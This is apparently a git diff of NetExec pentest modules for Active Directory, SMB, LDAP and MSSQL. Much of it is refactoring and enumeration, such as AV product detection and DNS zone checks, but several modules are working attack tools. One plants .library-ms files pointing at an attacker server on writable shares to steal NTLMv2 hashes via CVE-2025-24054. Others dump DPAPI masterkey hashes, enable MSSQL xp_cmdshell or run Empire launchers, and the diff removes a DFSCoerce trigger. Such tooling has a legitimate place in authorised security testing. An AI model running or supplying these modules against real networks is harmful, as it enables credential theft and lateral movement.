attributes=["nTSecurityDescriptor"],
searchControls=controls,
)
if self.target_DN is not None:
_lookedup_principal = self.target_DN
target = self.ldap_session.search(
searchBase=self.baseDN,
searchFilter=f"(distinguishedName={_lookedup_principal})",
attributes=["nTSecurityDescriptor"],
searchControls=controls,
)
try:
self.target_principal = target[0]
except Exception:
context.log.fail(f"Principal not found in LDAP ({_lookedup_principal}), probably an LDAP session issue.")
sys.exit(0)
# Attempts to retrieve the SID and Distinguisehd Name from the sAMAccountName
# Not used for the moment
# - samname : a sAMAccountName
def get_user_info(self, context, samname):
self.ldap_session.search(
searchBase=self.baseDN,
searchFilter=f"(sAMAccountName={escape_filter_chars(samname)})",
attributes=["objectSid"],
)
try:
dn = self.ldap_session.entries[0].entry_dn
sid = format_sid(self.ldap_session.entries[0]["objectSid"].raw_values[0])
return dn, sid
except Exception:
context.log.fail(f"User not found in LDAP: {samname}")
return False
# Attempts to resolve a SID and return the corresponding samaccountname
# - sid : the SID to resolve
def resolveSID(self, context, sid):
def resolveSID(self, sid):
"""Resolves a SID to its corresponding sAMAccountName."""
# Tries to resolve the SID from the well known SIDs
if sid in WELL_KNOWN_SIDS:
return WELL_KNOWN_SIDS[sid]
# Tries to resolve the SID from the LDAP domain dump
else:
try:
self.ldap_session.search(
searchBase=self.baseDN,
searchFilter=f"(objectSid={sid})",
attributes=["sAMAccountName"],
)[0][0]
return self.ldap_session.search(
searchBase=self.baseDN,
searchFilter=f"(objectSid={sid})",
attributes=["sAMAccountName"],
)[0][1][0][1][0]
except Exception:
context.log.debug(f"SID not found in LDAP: {sid}")
return ""
try:
resp = self.connection.search(
searchFilter=f"(objectSid={sid})",
attributes=["sAMAccountName"],
)
return parse_result_attributes(resp)[0]["sAMAccountName"]
except Exception:
self.context.log.debug(f"SID not found in LDAP: {sid}")
return ""
# Parses a full DACL
# - dacl : the DACL to parse, submitted in a Security Desciptor format
def parse_dacl(self, context, dacl):
def parse_dacl(self, dacl):
parsed_dacl = []
context.log.debug("Parsing DACL")
i = 0
self.context.log.debug("Parsing DACL")
for ace in dacl["Data"]:
parsed_ace = self.parse_ace(context, ace)
parsed_ace = self.parse_ace(ace)
parsed_dacl.append(parsed_ace)
i += 1
return parsed_dacl
# Parses an access mask to extract the different values from a simple permission
@@ -447,7 +382,7 @@ class NXCModule:
# Parses a specified ACE and extract the different values (Flags, Access Mask, Trustee, ObjectType, InheritedObjectType)
# - ace : the ACE to parse
def parse_ace(self, context, ace):
def parse_ace(self, ace):
# For the moment, only the Allowed and Denied Access ACE are supported
if ace["TypeName"] in [
"ACCESS_ALLOWED_ACE",
@@ -462,7 +397,7 @@ class NXCModule:
# Extracts the access mask (by parsing the simple permissions) and the principal's SID
if ace["TypeName"] in ["ACCESS_ALLOWED_ACE", "ACCESS_DENIED_ACE"]:
access_mask = f"{', '.join(self.parse_perms(ace['Ace']['Mask']['Mask']))} (0x{ace['Ace']['Mask']['Mask']:x})"
trustee_sid = f"{self.resolveSID(context, ace['Ace']['Sid'].formatCanonical()) or 'UNKNOWN'} ({ace['Ace']['Sid'].formatCanonical()})"
trustee_sid = f"{self.resolveSID(ace['Ace']['Sid'].formatCanonical()) or 'UNKNOWN'} ({ace['Ace']['Sid'].formatCanonical()})"
parsed_ace = {
"Access mask": access_mask,
"Trustee (SID)": trustee_sid
@@ -489,12 +424,9 @@ class NXCModule:
except KeyError:
parsed_ace["Inherited type (GUID)"] = f"UNKNOWN ({inh_obj_type})"
# Extract the Trustee SID (the object that has the right over the DACL bearer)
parsed_ace["Trustee (SID)"] = "{} ({})".format(
self.resolveSID(context, ace["Ace"]["Sid"].formatCanonical()) or "UNKNOWN",
ace["Ace"]["Sid"].formatCanonical(),
)
parsed_ace["Trustee (SID)"] = f"{self.resolveSID(ace['Ace']['Sid'].formatCanonical()) or 'UNKNOWN'} ({ace['Ace']['Sid'].formatCanonical()})"
else: # if the ACE is not an access allowed
context.log.debug(f"ACE Type ({ace['TypeName']}) unsupported for parsing yet, feel free to contribute")
self.context.log.debug(f"ACE Type ({ace['TypeName']}) unsupported for parsing yet, feel free to contribute")
_ace_flags = [FLAG.name for FLAG in ACE_FLAGS if ace.hasFlag(FLAG.value)]
parsed_ace = {
"ACE type": ace["TypeName"],
@@ -503,19 +435,18 @@ class NXCModule:
}
return parsed_ace
def print_parsed_dacl(self, context, parsed_dacl):
def print_parsed_dacl(self, parsed_dacl):
"""Prints a full DACL by printing each parsed ACE
parsed_dacl : a parsed DACL from parse_dacl()
"""
context.log.debug("Printing parsed DACL")
i = 0
self.context.log.debug("Printing parsed DACL")
# If a specific right or a specific GUID has been specified, only the ACE with this right will be printed
# If an ACE type has been specified, only the ACE with this type will be specified
# If a principal has been specified, only the ACE where he is the trustee will be printed
for parsed_ace in parsed_dacl:
for i, parsed_ace in enumerate(parsed_dacl):
print_ace = True
context.log.debug(f"{parsed_ace=}, {self.rights=}, {self.rights_guid=}, {self.ace_type=}, {self.principal_sid=}")
self.context.log.debug(f"{parsed_ace=}, {self.rights=}, {self.rights_guid=}, {self.ace_type=}, {self.principal_sid=}")
# Filter on specific rights
if self.rights is not None:
@@ -529,7 +460,7 @@ class NXCModule:
if (self.rights == "ResetPassword") and (("Object type (GUID)" not in parsed_ace) or (RIGHTS_GUID.ResetPassword.value not in parsed_ace["Object type (GUID)"])):
print_ace = False
except Exception as e:
context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights=}, probably because of ACE type unsupported for parsing yet ({e})")
self.context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights=}, probably because of ACE type unsupported for parsing yet ({e})")
# Filter on specific right GUID
if self.rights_guid is not None:
@@ -537,7 +468,7 @@ class NXCModule:
if ("Object type (GUID)" not in parsed_ace) or (self.rights_guid not in parsed_ace["Object type (GUID)"]):
print_ace = False
except Exception as e:
context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights_guid=}, probably because of ACE type unsupported for parsing yet ({e})")
self.context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights_guid=}, probably because of ACE type unsupported for parsing yet ({e})")
# Filter on ACE type
if self.ace_type == "allowed":
@@ -545,13 +476,13 @@ class NXCModule:
if ("ACCESS_ALLOWED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ("ACCESS_ALLOWED_ACE" not in parsed_ace["ACE Type"]):
print_ace = False
except Exception as e:
context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
self.context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
else:
try:
if ("ACCESS_DENIED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ("ACCESS_DENIED_ACE" not in parsed_ace["ACE Type"]):
print_ace = False
except Exception as e:
context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
self.context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
# Filter on trusted principal
if self.principal_sid is not None:
@@ -559,18 +490,17 @@ class NXCModule:
if self.principal_sid not in parsed_ace["Trustee (SID)"]:
print_ace = False
except Exception as e:
context.log.debug(f"Error filtering with {parsed_ace=} and {self.principal_sid=}, probably because of ACE type unsupported for parsing yet ({e})")
self.context.log.debug(f"Error filtering with {parsed_ace=} and {self.principal_sid=}, probably because of ACE type unsupported for parsing yet ({e})")
if print_ace:
self.context.log.highlight("%-28s" % "ACE[%d] info" % i)
self.context.log.highlight(f"ACE[{i}] info")
self.print_parsed_ace(parsed_ace)
i += 1
# Prints properly a parsed ACE
# - parsed_ace : a parsed ACE from parse_ace()
def print_parsed_ace(self, parsed_ace):
elements_name = list(parsed_ace.keys())
for attribute in elements_name:
self.context.log.highlight(" %-26s: %s" % (attribute, parsed_ace[attribute]))
self.context.log.highlight(f"\t{attribute:<26}: {parsed_ace[attribute]}")
# Retrieves the GUIDs for the specified rights
def build_guids_for_rights(self):
+4 -125
View File
@@ -1,18 +1,11 @@
from impacket import system_errors
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.ndr import NDRCALL
from impacket.dcerpc.v5.dtypes import ULONG, WSTR, DWORD
from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE
from impacket.uuid import uuidtup_to_bin
from nxc.logger import nxc_logger
from nxc.helpers.misc import CATEGORY
class NXCModule:
name = "dfscoerce"
description = "Module to check if the DC is vulnerable to DFSCocerc, credit to @filip_dragovic/@Wh04m1001 and @topotam"
description = "[REMOVED] Module to check if the DC is vulnerable to DFSCoerce, credit to @filip_dragovic/@Wh04m1001 and @topotam"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
category = CATEGORY.PRIVILEGE_ESCALATION
def __init__(self, context=None, module_options=None):
self.context = context
@@ -26,118 +19,4 @@ class NXCModule:
self.listener = module_options["LISTENER"]
def on_login(self, context, connection):
trigger = TriggerAuth()
dce = trigger.connect(
username=connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
target=connection.host,
doKerberos=connection.kerberos,
kdcHost=connection.kdcHost,
aesKey=connection.aesKey,
)
if dce is not None:
context.log.debug("Target is vulnerable to DFSCoerce")
trigger.NetrDfsRemoveStdRoot(dce, self.listener)
context.log.highlight("VULNERABLE")
context.log.highlight("Next step: https://github.com/Wh04m1001/DFSCoerce")
dce.disconnect()
else:
context.log.debug("Target is not vulnerable to DFSCoerce")
class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__(self):
key = self.error_code
if key in system_errors.ERROR_MESSAGES:
error_msg_short = system_errors.ERROR_MESSAGES[key][0]
error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
return f"DFSNM SessionError: code: 0x{self.error_code:x} - {error_msg_short} - {error_msg_verbose}"
else:
return f"DFSNM SessionError: unknown error code: 0x{self.error_code:x}"
################################################################################
# RPC CALLS
################################################################################
class NetrDfsRemoveStdRoot(NDRCALL):
opnum = 13
structure = (
("ServerName", WSTR),
("RootShare", WSTR),
("ApiFlags", DWORD),
)
class NetrDfsRemoveStdRootResponse(NDRCALL):
structure = (("ErrorCode", ULONG),)
class NetrDfsAddRoot(NDRCALL):
opnum = 12
structure = (
("ServerName", WSTR),
("RootShare", WSTR),
("Comment", WSTR),
("ApiFlags", DWORD),
)
class NetrDfsAddRootResponse(NDRCALL):
structure = (("ErrorCode", ULONG),)
class TriggerAuth:
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, kdcHost):
rpctransport = transport.DCERPCTransportFactory(r"ncacn_np:%s[\PIPE\netdfs]" % target)
rpctransport.setRemoteHost(target)
if hasattr(rpctransport, "set_credentials"):
rpctransport.set_credentials(
username=username,
password=password,
domain=domain,
lmhash=lmhash,
nthash=nthash,
aesKey=aesKey,
)
if doKerberos:
rpctransport.set_kerberos(doKerberos, kdcHost)
dce = rpctransport.get_dce_rpc()
if doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
nxc_logger.debug("[-] Connecting to {}".format(r"ncacn_np:%s[\PIPE\netdfs]") % target)
try:
dce.connect()
except Exception as e:
nxc_logger.debug(f"Something went wrong, check error status => {e!s}")
return None
try:
dce.bind(uuidtup_to_bin(("4FC742E0-4A10-11CF-8273-00AA004AE673", "3.0")))
except Exception as e:
nxc_logger.debug(f"Something went wrong, check error status => {e!s}")
return None
nxc_logger.debug("[+] Successfully bound!")
return dce
def NetrDfsRemoveStdRoot(self, dce, listener):
nxc_logger.debug("[-] Sending NetrDfsRemoveStdRoot!")
try:
request = NetrDfsRemoveStdRoot()
request["ServerName"] = f"{listener}\x00"
request["RootShare"] = "test\x00"
request["ApiFlags"] = 1
nxc_logger.debug(request.dump())
dce.request(request)
except Exception as e:
nxc_logger.debug(e)
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
+68
View File
@@ -0,0 +1,68 @@
from impacket.structure import Structure
from nxc.parsers.ldap_results import parse_result_attributes
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""Module by @MaxToffy"""
name = "dns-nonsecure"
description = "Detects DNS zones that allow nonsecure dynamic updates"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""No options available"""
def on_login(self, context, connection):
search_bases = {
"domain": f"CN=MicrosoftDNS,DC=DomainDnsZones,{connection.baseDN}",
"forest": f"CN=MicrosoftDNS,DC=ForestDnsZones,{connection.forestDN}"
}
for dns_type, search_base in search_bases.items():
# Search for domain DNS zones
resp = connection.search(
searchFilter="(objectClass=dnsZone)",
attributes=["name", "dNSProperty"],
baseDN=search_base,
)
zones = parse_result_attributes(resp)
# Get dynamic updates configuration for each zones
allows_nonsecure_updates = []
for zone in zones:
for prop in zone["dNSProperty"]:
dns_properties = DNS_PROPERTY(prop)
# [MS-DNSP] 2.2.5.2.4.1 - DNS_RPC_ZONE_INFO_W2K - fAllowUpdate
if dns_properties["Id"] == DSPROPERTY_ZONE_ALLOW_UPDATE and int.from_bytes(dns_properties["Data"]) == ZONE_UPDATE_UNSECURE:
allows_nonsecure_updates.append(zone["name"])
if allows_nonsecure_updates:
context.log.success(f"{dns_type.capitalize()} DNS zone(s) allowing nonsecure dynamic updates")
for zone in allows_nonsecure_updates:
context.log.highlight(zone)
else:
context.log.fail(f"No {dns_type} DNS zones allowing nonsecure dynamic updates")
# [MS-DNSP] - 2.3.2.1 - dnsProperty
class DNS_PROPERTY(Structure):
structure = (
("DataLength", "<L-Data"),
("NameLength", "<L"),
("Flag", "<L"),
("Version", "<L"),
("Id", "<L"),
("Data", ":"),
("Name", "1s"),
)
# [MS-DNSP] - 2.3.2.1.1 - Property Id
DSPROPERTY_ZONE_ALLOW_UPDATE = 0x02
# [MS-DNSP] - 2.2.5.2.4.1 - fAllowUpdate values
ZONE_UPDATE_OFF = 0x00000000
ZONE_UPDATE_UNSECURE = 0x00000001
ZONE_UPDATE_SECURE = 0x00000002
+63
View File
@@ -0,0 +1,63 @@
from dploot.lib.target import Target
from dploot.triage.masterkeys import MasterkeysTriage
from nxc.helpers.misc import CATEGORY
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
# Based on dpapimk2john, original work by @fist0urs
class NXCModule:
name = "dpapi_hash"
description = "Remotely dump Dpapi hash based on masterkeys"
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""OUTPUTFILE Output file to write hashes"""
self.outputfile = None
if "OUTPUTFILE" in module_options:
self.outputfile = module_options["OUTPUTFILE"]
def on_admin_login(self, context, connection):
username = connection.username
password = getattr(connection, "password", "")
nthash = getattr(connection, "nthash", "")
target = Target.create(
domain=connection.domain,
username=username,
password=password,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
lmhash=getattr(connection, "lmhash", ""),
nthash=nthash,
do_kerberos=connection.kerberos,
aesKey=connection.aesKey,
no_pass=True,
use_kcache=getattr(connection, "use_kcache", False),
)
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if conn is None:
context.log.debug("Could not upgrade connection")
return
try:
context.log.display("Collecting DPAPI masterkeys, grab a coffee and be patient...")
masterkeys_triage = MasterkeysTriage(
target=target,
conn=conn,
)
context.log.debug(f"Masterkeys Triage: {masterkeys_triage}")
context.log.debug("Collecting user masterkeys")
masterkeys_triage.triage_masterkeys()
if self.outputfile is not None:
with open(self.outputfile, "a+") as fd:
for mkhash in [mkhash for masterkey in masterkeys_triage.all_looted_masterkeys for mkhash in masterkey.generate_hash()]:
context.log.highlight(mkhash)
fd.write(f"{mkhash}\n")
else:
for mkhash in [mkhash for masterkey in masterkeys_triage.all_looted_masterkeys for mkhash in masterkey.generate_hash()]:
context.log.highlight(mkhash)
except Exception as e:
context.log.debug(f"Could not get masterkeys: {e}")
+90
View File
@@ -0,0 +1,90 @@
import ntpath
from nxc.paths import TMP_PATH
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Requested by the issue #652, heavily inspired by drop-sc, scuffy and slinky modules
https://research.checkpoint.com/2025/cve-2025-24054-ntlm-exploit-in-the-wild/
https://cti.monster/blog/2025/03/18/CVE-2025-24071.html
Module by: @XedSama
"""
name = "drop-library-ms"
description = "Creates and uploads an arbitrary .library-ms on writable shares, leveraging CVE-2025-24054 for looting NTLMv2 hash"
supported_protocols = ["smb"]
category = CATEGORY.PRIVILEGE_ESCALATION
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
self.ignore_shares = ["C$", "ADMIN$", "NETLOGON", "SYSVOL"]
self.server = None
self.lms_name = ""
self.cleanup = False
self.local_path = None
self.remote_path = None
def options(self, context, module_options):
"""
SERVER Attacker machine
NAME File name
IGNORE Specific shares to ignore (comma separated, default: C$,ADMIN$,NETLOGON,SYSVOL)
CLEANUP Cleaning option (True or False)
"""
if "SERVER" not in module_options and not self.cleanup:
context.log.fail("SERVER option is required")
exit(1)
if "NAME" not in module_options:
context.log.fail("NAME option is required!")
exit(1)
if "IGNORE" in module_options:
self.ignore_shares = module_options["IGNORE"].split(",")
context.log.debug(f"Ignoring shares: {self.ignore_shares}")
if "CLEANUP" in module_options:
self.cleanup = bool(module_options["CLEANUP"])
context.log.debug(f"CLEANUP is set to {self.cleanup}")
self.local_path = f"{TMP_PATH}/{self.lms_name}.library-ms"
self.remote_path = ntpath.join("\\", f"{self.lms_name}.library-ms")
if not self.cleanup:
self.server = module_options["SERVER"]
with open(self.local_path, "w", encoding="utf-8") as libms:
libms.truncate(0)
libms.write('<?xml version="1.0" encoding="UTF-8"?>')
libms.write('<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">')
libms.write("<searchConnectorDescriptionList>")
libms.write("<searchConnectorDescription>")
libms.write("<simpleLocation>")
libms.write(f"<url>\\\\{self.server}\\LIBRARY</url>")
libms.write("</simpleLocation>")
libms.write("</searchConnectorDescription>")
libms.write("</searchConnectorDescriptionList>")
libms.write("</libraryDescription>")
def on_login(self, context, connection):
shares = connection.shares()
for share in shares:
if "WRITE" in share["access"] and share["name"] not in self.ignore_shares:
context.log.success(f"Found writable share : {share['name']}")
if self.cleanup:
try:
connection.conn.deleteFile(share["name"], self.remote_path)
context.log.success(f"Deleted .library-ms file on share '{share['name']}'")
except Exception as e:
context.log.fail(f"Error deleting .library-ms file on share '{share['name']}' : {e}")
else:
with open(self.local_path, "rb") as libms:
try:
connection.conn.putFile(share["name"], self.remote_path, libms.read)
context.log.success(f"Created .library-ms file on share '{share['name']}'")
except Exception as e:
context.log.fail(f"Error writing .library-ms file on share '{share['name']}' : {e}")
+2 -2
View File
@@ -1,5 +1,6 @@
import ntpath
import tempfile
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -12,8 +13,7 @@ class NXCModule:
name = "drop-sc"
description = "Drop a searchConnector-ms file on each writable share"
supported_protocols = ["smb"]
opsec_safe = False
multiple_hosts = True
category = CATEGORY.PRIVILEGE_ESCALATION
def options(self, context, module_options):
"""
+71
View File
@@ -0,0 +1,71 @@
from nxc.helpers.misc import CATEGORY
from nxc.parsers.ldap_results import parse_result_attributes
class NXCModule:
name = "dump-computers"
description = "Dumps FQDN and OS of all computers in the domain"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""
TYPE Only dump NETBIOS or FQDN instead of 'FQDN (OS Version)'
OUTPUT Output to file in addition to printing to console
Examples
--------
netexec ldap $DC-IP -u $username -p $password -M dump-computers
netexec ldap $DC-IP -u $username -p $password -M dump-computers -o TYPE=netbios
netexec ldap $DC-IP -u $username -p $password -M dump-computers -o TYPE=fqdn
netexec ldap $DC-IP -u $username -p $password -M dump-computers -o TYPE=netbios OUTPUT=<location>
"""
self.output_file = None
self.netbios_only = False
self.fqdn_only = False
if "OUTPUT" in module_options:
self.output_file = module_options["OUTPUT"]
if "TYPE" in module_options:
if module_options["TYPE"].lower() == "netbios":
self.netbios_only = True
elif module_options["TYPE"].lower() == "fqdn":
self.fqdn_only = True
def on_login(self, context, connection):
resp = connection.search(
searchFilter="(objectCategory=computer)",
attributes=["dNSHostName", "operatingSystem"]
)
resp_parsed = parse_result_attributes(resp)
answers = []
context.log.debug(f"Total number of records returned: {len(resp_parsed)}")
for item in resp_parsed:
dns_host_name = item.get("dNSHostName")
operating_system = item.get("operatingSystem", "Unknown OS")
if not dns_host_name:
context.log.debug(f"Skipping computer without dNSHostName: {item.get('cn', '<unknown>')}")
continue
if self.netbios_only:
netbios_name = dns_host_name.split(".")[0]
answer = netbios_name
elif self.fqdn_only:
answer = dns_host_name
else:
answer = f"{dns_host_name} ({operating_system})"
answers.append(answer)
context.log.success("Found the following computers:")
for answer in answers:
context.log.highlight(answer)
if self.output_file:
try:
with open(self.output_file, "w") as f:
f.write("\n".join(answers) + "\n")
context.log.success(f"Results saved to {self.output_file}")
except Exception as e:
context.log.error(f"Failed to write to file {self.output_file}: {e}")
+20
View File
@@ -0,0 +1,20 @@
from nxc.context import Context
from nxc.helpers.misc import CATEGORY
class NXCModule:
name = "efsr_spray"
description = "[REMOVED] Tries to activate the EFSR service by creating a file with the encryption attribute on some available share."
supported_protocols = ["smb"]
excluded_shares = ["SYSVOL"]
category = CATEGORY.PRIVILEGE_ESCALATION
def options(self, context: Context, module_options: dict[str, str]):
"""
FILE_NAME Name of the file which will be tried to create and afterwards delete
SHARE_NAME If set, ONLY this share will be used
EXCLUDED_SHARES List of share names which will not be used, seperated by comma
"""
def on_login(self, context: Context, connection):
context.log.fail('[REMOVED] This module has been made obsolete and EFS will be activated automatically by "coerce_plus"')
+3 -3
View File
@@ -1,6 +1,7 @@
import sys
import requests
from requests import ConnectionError
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -12,8 +13,7 @@ class NXCModule:
name = "empire_exec"
description = "Uses Empire's RESTful API to generate a launcher for the specified listener and executes it"
supported_protocols = ["smb", "mssql"]
opsec_safe = True
multiple_hosts = True
category = CATEGORY.PRIVILEGE_ESCALATION
def options(self, context, module_options):
"""
@@ -33,7 +33,7 @@ class NXCModule:
obfuscate = "OBFUSCATE" in module_options
# we can use commands instead of backslashes - this is because Linux and OSX treat them differently
default_obfuscation = "Token,All,1"
obfuscate_cmd = module_options["OBFUSCATE_CMD"] if "OBFUSCATE_CMD" in module_options else default_obfuscation
obfuscate_cmd = module_options.get("OBFUSCATE_CMD", default_obfuscation)
context.log.debug(f"Obfuscate: {obfuscate} - Obfuscate_cmd: {obfuscate_cmd}")
# Pull the host and port from the config file
+80
View File
@@ -0,0 +1,80 @@
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Enables or disables xp_cmdshell in MSSQL Server.
Module by crosscutsaw
"""
name = "enable_cmdshell"
description = "Enable or disable xp_cmdshell in MSSQL Server"
supported_protocols = ["mssql"]
category = CATEGORY.PRIVILEGE_ESCALATION
def __init__(self):
self.mssql_conn = None
self.context = None
self.action = None
self.advanced_options_backup = None # Stores original value of 'show advanced options'
def options(self, context, module_options):
"""
ACTION enable or disable xp_cmdshell
Examples
--------
netexec mssql $TARGET -u $username -p $password -M enable_cmdshell -o ACTION=enable
netexec mssql $TARGET -u $username -p $password -M enable_cmdshell -o ACTION=disable
"""
if "ACTION" in module_options:
self.action = module_options["ACTION"].lower()
else:
context.log.fail("Missing required option: ACTION (enable/disable)")
exit(1)
def on_login(self, context, connection):
self.context = context
self.mssql_conn = connection.conn
if self.action == "enable":
self.toggle_xp_cmdshell(enable=True)
elif self.action == "disable":
self.toggle_xp_cmdshell(enable=False)
else:
self.context.log.fail("Invalid ACTION. Use 'enable' or 'disable'.")
def backup_show_advanced_options(self):
"""Backs up the current state of 'show advanced options'."""
res = self.mssql_conn.sql_query("SELECT CAST(value AS INT) AS value FROM sys.configurations WHERE name = 'show advanced options'")
if res:
self.advanced_options_backup = int(res[0]["value"]) # Convert to integer
def restore_show_advanced_options(self):
"""Restores the original state of 'show advanced options' if needed."""
if self.advanced_options_backup is not None and self.advanced_options_backup == 0:
self.mssql_conn.sql_query("EXEC sp_configure 'show advanced options', '0'; RECONFIGURE;")
def toggle_xp_cmdshell(self, enable: bool):
"""Enables or disables xp_cmdshell while preserving 'show advanced options' state."""
state = "1" if enable else "0"
action_text = "enabled" if enable else "disabled"
# Backup 'show advanced options' state
self.backup_show_advanced_options()
# Enable 'show advanced options' if it was disabled
self.mssql_conn.sql_query("EXEC sp_configure 'show advanced options', '1'; RECONFIGURE;")
try:
# Enable or disable xp_cmdshell
self.mssql_conn.sql_query(f"EXEC sp_configure 'xp_cmdshell', '{state}'; RECONFIGURE;")
if self.mssql_conn.lastError:
self.context.log.fail(f"Failed to {action_text[:-1]} xp_cmdshell: {self.mssql_conn.lastError}")
else:
self.context.log.success(f"xp_cmdshell successfully {action_text}.")
except Exception as e:
self.context.log.fail(f"Failed to execute command: {e}")
# Restore 'show advanced options' to its original state if needed
self.restore_show_advanced_options()
+83
View File
@@ -0,0 +1,83 @@
import re
from termcolor import colored
from nxc.helpers.misc import CATEGORY
from nxc.parsers.ldap_results import parse_result_attributes
from nxc.config import host_info_colors
class NXCModule:
"""Module by @NeffIsBack"""
name = "entra-id"
description = "Find the Entra ID sync server"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def __init__(self):
self.context = None
self.module_options = None
def options(self, context, module_options):
"""No options available."""
def on_login(self, context, connection):
self.context = context
# For every Entra ID syncronization server, there is a corresponding MSOL_ account and likely an ADSyncMSA service account.
msol_parsed = parse_result_attributes(connection.search(
searchFilter="(sAMAccountName=MSOL_*)",
attributes=["sAMAccountName", "cn", "description"],
))
self.context.log.info(f"Found the following MSOL accounts: {msol_parsed}")
adsync_parsed = parse_result_attributes(connection.search(
searchFilter="(sAMAccountName=ADSyncMSA*)",
attributes=["sAMAccountName", "cn", "msDS-HostServiceAccountBL"],
))
self.context.log.info(f"Found the following ADSyncMSA accounts: {adsync_parsed}")
hosts = []
for acc in msol_parsed:
host = re.search(r"computer (?P<host>.*) configured", acc["description"])
if host:
hostname = host.group("host")
# Try to get the dNSHostName for the host, if not use the NetBIOS name from the description
resp = parse_result_attributes(connection.search(f"(sAMAccountName={hostname}$)", ["dNSHostName"]))
ip = connection.resolver(resp[0]["dNSHostName"] if resp else hostname)
hosts.append({
"hostname": hostname,
"ip": ip,
"msol_account": acc["sAMAccountName"],
})
for adsync in adsync_parsed:
# The last 5 chars of the ADSyncMSA account name are the identifier for the corresponding MSOL account
identifier = str(adsync["cn"]).removeprefix("ADSyncMSA")
msol_acc = next((x for x in msol_parsed if str(x["sAMAccountName"]).startswith(f"MSOL_{identifier}")), None)
self.context.log.debug(f"Found ADSyncMSA account: {adsync['sAMAccountName']}, corresponding MSOL account: {msol_acc['sAMAccountName'] if msol_acc else 'None'}")
# Get the computer object for the ADSyncMSA service account
computer = parse_result_attributes(connection.search(
searchFilter=f"(distinguishedName={adsync['msDS-HostServiceAccountBL']})",
attributes=["dNSHostName", "cn", "sAMAccountName"],
))[0]
# If we already found a host with its MSOL account, extend that info, otherwise create a new host entry
host = next((x for x in hosts if x["hostname"] == computer["cn"]), None)
if host and host["ip"]: # Skip if host and IP are already set
self.context.log.debug(f"Host '{host['hostname']}' already exists with IP {host['ip'].get('host')}, skipping update.")
continue
elif host: # If host exists but IP is not set, update it
host["ip"] = connection.resolver(computer["dNSHostName"])
else: # If host does not exist, create a new entry
hosts.append({
"hostname": computer["cn"],
"ip": connection.resolver(computer["dNSHostName"]),
})
if hosts:
self.context.log.success("Found Entra ID sync servers:")
for host in hosts:
self.context.log.highlight(f"{host['hostname']}: {colored(host['ip'].get('host', '<not found>'), host_info_colors[0])}" + colored(f" (MSOL Account: {host.get('msol_account', 'N/A')})", "yellow", attrs=["bold"]))
+108 -7
View File
@@ -7,6 +7,7 @@ from impacket.dcerpc.v5 import lsat, lsad, transport
from impacket.dcerpc.v5.dtypes import NULL, MAXIMUM_ALLOWED, RPC_UNICODE_STRING
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
import pathlib
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -18,8 +19,7 @@ class NXCModule:
name = "enum_av"
description = "Gathers information on all endpoint protection solutions installed on the the remote host(s) via LsarLookupNames (no privilege needed)"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
category = CATEGORY.ENUMERATION
def __init__(self, context=None, module_options=None):
self.context = context
@@ -84,10 +84,7 @@ class NXCModule:
prod_results = results.setdefault(product["name"], {})
prod_results.setdefault("pipes", []).append(pipe)
except Exception as e:
if "STATUS_ACCESS_DENIED" in str(e):
context.log.fail("Error STATUS_ACCESS_DENIED while enumerating pipes, probably due to using SMBv1")
else:
context.log.fail(str(e))
context.log.fail(str(e))
def dump_results(self, results, context):
if not results:
@@ -267,6 +264,17 @@ conf = {
{"name": "CybereasonAPServerProxyIpc_*", "processes": ["minionhost.exe"]}
]
},
{
"name": "Check Point Endpoint Security",
"services": [
{"name": "CPDA", "description": "Check Point Endpoint Agent"},
{"name": "vsmon", "description": "Check Point Endpoint Security Network Protection"},
{"name": "CPFileAnlyz", "description": "Check Point Endpoint Security File Analyzer"},
{"name": "EPClientUIService", "description": "Check Point Endpoint Security Client UI"}
],
"pipes": []
},
{
"name": "ESET",
"services": [
@@ -281,6 +289,24 @@ conf = {
],
"pipes": [{"name": "nod_scriptmon_pipe", "processes": [""]}],
},
{
"name": "FortiClient",
"services": [
{"name": "FA_Scheduler", "description": "FortiClient Service Scheduler"},
{"name": "FCT_SecSvr", "description": "Forticlient Endpoint Protected Process Service"}
],
"pipes": [
